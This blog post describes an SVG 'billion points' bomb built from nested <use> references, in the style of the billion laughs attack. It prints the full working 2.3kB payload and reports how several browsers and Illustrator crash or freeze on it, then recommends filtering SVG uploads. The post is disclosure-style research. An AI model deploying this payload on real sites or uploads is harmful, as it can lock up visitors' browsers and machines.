brhfl.com

A billion points: an SVG bomb

SVGs, via the <use> tag, are capable of symbolic references. If I know I’m going to have ten identical trees in my image, I can simply create one tree with an id="tree" inside of an undrawn <defs> block, and then reference it ten times inside the image along the lines of <use xlink:href="#tree" x="50" y="50"/>.

A billion laughs is a bomb-style attack in which an XML document makes a symbolic reference to an element ten times, then references that symbol ten times in a new symbol, and again, and again, until a billion (109) of these elements are being created. It creates a tremendous amount of resource consumption from a few kilobytes of code. Will symbolic references in an SVG behave similarly?

I briefly searched for SVG bombs, and as expected mostly came up with clipart. I did find one Python script for generating SVG bombs, but it relied on the same XML strategy as the classic billion laughs attack1. The answer is that yes, in about 2.3kB we can make a billion points and one very grumpy web browser:

<svg version="1.2" baseProfile="tiny" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" xml:space="preserve">
<path id="a" d="M0,0"/>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
<g id="f"><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/></g>
<g id="g"><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/></g>
<g id="h"><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/></g>
<g id="i"><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/></g>
<g id="j"><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/></g>
</svg>

It works precisely the same way as a billion laughs: it creates one point, a, at 0,0; then it creates a group, b with ten instances of a; then group c with ten instances of b; and so on until we have 109 (+1, I suppose) instances of our point, a. I’m not entirely sure how a renderer handles ‘drawing’ a single point with no stroke, etc. (essentially a nonexistent object), but it is interesting to note that if we wrap the whole thing in a <defs> block (which would define the objects but not draw them), the bomb still works. Browsers respond a few different ways…

Chrome (58.0.3029.96, Win 10)
Chrome always has so many processes going on, it can be difficult to tell what’s what. But sorting by Memory in the task manager and letting the test subject float to the top, it never really gets carried away, maxing out at around 150MB before throwing up the ‘Page unresponsive’ box.
Chrome (62.0.3202.62, macOS 10.12)
Essentially the same as above, though it never really seemed to give up and throw the ‘Page unresponsive’ box.
Chrome (59.0.3071.102, iOS 10)
Obviously a browser on iOS has to use iOS’s web view renderer, which is not necessarily the same as Safari on iOS, so it was worth trying. Regardless, I got the ‘Aw, snap’ error.
Internet Explorer 11 (11.1770.14393.0, Win 10)
Seems to catch itself after hitting around 1.5GB of memory. Following this, drops down to about 750MB while sucking up >30% CPU (with everything else going on, this was about the max CPU available). IE’s ‘Page unresponsive’ dialog only gives the option to ‘Recover’, but the browser continues to function well enough that the tab can be closed.
Edge (38.14393.1066.0, Win 10)
Approaches max memory usage (~4GB) while showing the ‘Page unresponsive’ dialog (with the same ‘Recover’ button as IE). Eventually gives up and seemingly tries to recover on its own, continues this process until I intervene. Closing the tab does not immediately work, and terminating Edge from the Task Manager brings some zombie Edges to life that keep trying to render the bomb. Fortunately, patiently waiting for the tab to close (or, crash, seemingly) eventually works, or the phantom Edges can reliably be killed off in Task Manager.
Firefox (56.0, Win 10)
Quickly hit max memory usage (4GB), and I was unable to kill the process before it rendered my entire computer unresponsive. After a good fifteen minute wait, I hard powered the machine down.
Firefox (Quantum Beta, 57.0b14, Win 10)
The new rendering engine, Quantum, does seem like a considerable improvement over the old Gecko engine. It still behaved pretty similar to the above test, however, quickly pegging the system’s RAM and rendering the computer nearly unresponsive. At some point it did present a ‘Script on this page has rendered it unresponsive’ type error, which let me have my system back, but I still had to quit Firefox separately in order to get it to function properly. Worth reiterating: this is a beta release.
Safari (10.1.2, 12603.3.8, macOS 10.12)
macOS handles memory in mysterious ways, but Activity Monitor’s ‘Memory’ column kept reporting around 70MB. Safari’s error is along the lines of ‘A problem occurred with this page, so it was reloaded’. Never became unresponsive.
Safari (iOS 10)
Same message as above. Obviously no real process monitor on iOS.
Silk (Fire OS 4.5.5.3)
Just kind of… hung itself around 13 on the progress bar. Again, no real process monitor to check on resource usage, but nothing catastrophic happened.
Adobe Illustrator (CS6, Win 10) (also CC 2018, macOS 10.12)
Offers this helpful warning: ‘There are too many nested groups than allowed in Illustrator. The file may not open correctly.’ After acknowledging this, the file opens and definitely contains a bunch of nested stuff but I’m not about to see just how much stuff there is.

So, I’m not smart enough to know whether or not this is actually a big deal. My gut says no – I doubt this is a vector for an attack more malicious than mere annoyance. One could always have similarly gunked up a visitor’s browser using JS, but this is worse than that in that users can and do disable JS2. Additionally, things like forums generally don’t let users embed JS in posts because that could obviously be abused, but an SVG seems ‘safe’ – it’s not programmatic, and putting a sensible filesize limit on image uploads should prevent this sort of thing. Of course, our 2.3kB SVG bomb proves this isn’t true, so I suppose if anything this shows that allowing users to upload SVGs is, unfortunately, a bad idea.

Illustrator’s behavior was (surprising for a product from a company with near-zero UX skills) very responsible. I feel like browsers should be able to sense that far too much nesting is going on, and either abort or alert the user that something might be awry.

I don’t know what to make of this. I doubt I’m the first to think of it, but it does not seem well publicized. I think that any public-facing site that allows (theoretically) anyone to upload SVGs should probably instate some kind of filtering to weed out images that blow up to several gigabytes. I don’t think it’s an attack capable of utter malice, but I do think it could be annoying. And I hope patching happens. I am super organized in AI as far as grouping and layering, and… you just don’t need to go into gigabyte range, as far as nesting. You just don’t.


  1. I’m sure the XML-via-SVG attack works, but I feel like it’s easily denied. SVG needs to be SVG to function, external XML calls are secondary. Of course, this is implementation-based, and I don’t entirely know how current implementations work, but I do think that ignoring arbitrary XML is something that a browser is more likely to do vs. ignoring valid SVG. ↩︎
  2. Oddly, Firefox seems to treat this as a JS issue. Internal handler, I guess? ↩︎